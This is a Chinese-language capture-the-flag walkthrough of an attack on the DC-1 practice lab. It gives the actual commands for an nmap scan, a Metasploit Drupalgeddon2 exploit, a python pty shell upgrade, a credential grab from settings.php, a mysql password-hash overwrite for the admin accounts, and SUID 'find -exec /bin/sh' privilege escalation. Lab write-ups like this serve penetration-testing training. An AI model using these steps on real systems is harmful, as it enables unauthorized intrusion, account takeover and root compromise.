DC-1靶场渗透测试
信息收集
主机发现
可以看到kali的IP为192.168.5.128
我们看到DC1的靶场的MAC地址为00:0C:29:78:3B:1D
对照MAC地址扫描出DC-1的IP为192.168.5.131
端口扫描
得到了IP我们就可以对他进行扫描
-sV 探测目标主机端口上运行的服务版本
-p- 扫描全部端口
nmap -sV -p- 192.168.5.131可以看到扫描到了80端口和22端口
Web指纹识别
我们访问192.168.5.131
利用火绒插件wappalyzer,利用工具很直观看到CMS是Drupal
也可以使用kali自带工具whatweb
webwhat -v http://192.168.5.131/漏洞查找和利用
漏洞查找
我们可以使用msfconsole
我们搜索drupla模块
可以看到cms框架有很多漏洞
漏洞利用
使用漏洞模块,使用编号或者使用漏洞名称都可以
use 1 #编号1是我们选择的漏洞模块 或者------ use exploit/unix/webapp/drupal_drupalgeddon2 #使用漏洞名称我们依次尝试
use0不行我们尝试use1
查看漏洞模块
Current Setting是目前设置的内容
Required表示是否需要设置内容,yes为必须设置,no可以设置也可不设置
就上面来说RHOSTS需要set,但是没有内容
缺少RHOSTS内容(这里面是目标ip,也就是靶场ip,下面LHOST才是攻击者ip)
set RHOSTS 192.168.5.131配置好这些后,开始攻击run
可以看见攻击成功了可以进行getshell了
获取命令行shell
获得shell普通权限
也就是获取目标服务器的命令行控制界面
shell我们查看当前目录列表
ls发现一个特殊文件flag1.txt
获取交互shell
利用python实现交互
pyrhon -c 'import pty; pty.spawn("/bin/bash")'可以看到这个shell只是一个普通权限,先尝试查看flag1.txt
这里的意思是:每个优秀的CMS都需要一个配置文件一一你也不例外,提示我们要找配置文件
这样找太麻烦了我们可以用find命令查找
cat `find / -name settings.php`找到settings.php后,查看一下里面内容
成功找到flag2,提示我们要获得高级权限
同时也发现了数据库账号密码
数据库渗透
既然都给了用户和密码我们直接登入试试呗
mysql -udbuser -pR0ck3t登入成功
查看数据库
show databases;发现特殊数据库drupaldb
使用数据库,并且查看表
use drupal;show tables;看到了一个users表,我们查看一下内容
得到了两个用户和两组密码,不是明文
我们要通过修改用户密码,来登陆
要修改密码,我们得先找到加密文件
这是一脚本文件,切换到该目录查看
查看一下
这个脚本是用php写的,而且还能用php加参数运行,直接得到加密后的密码,这里我们设置一个密码123456
得到加密后的密码, 接着我们登入mysql修改一下admin跟Fred的密码
mysql -udbuser -pR0ck3t use drupaldb;update users set pass = "$S$DwSsuJZg9sNMnzfvkOg4EKvt7lMBdQ95kMfBrim.0EXmCA71skhh where name = 'admin' or name = 'Fred';
接着我们登录网站,找到flag3
登进去就找到了flag3,提示了我们一些信息passwd和shadow,明显就是linux的文件
/etc/passwd
该文件存储了系统用户的基本信息,所有用户都可以对其进行文件操作读
/etc/shadow
该文件存储了系统用户的密码等信息,只有root权限用户才能读取
接着我们查看用户信息
tac /etc/passwd可以看到flag4这个用户,我这里用到的方法是提权打开shadow文件
提权
使用find命令找到具有SUID权限的可执行二进制文件
find / -perm -u=s -type f 2>/dev/nullfind比较常用,它可以执行root权限的命令查找文件
find / -name index.php -exec "/bin/sh" \;中间查找什么文件不重要,只要存在就行
提权成功,接下来找到flag
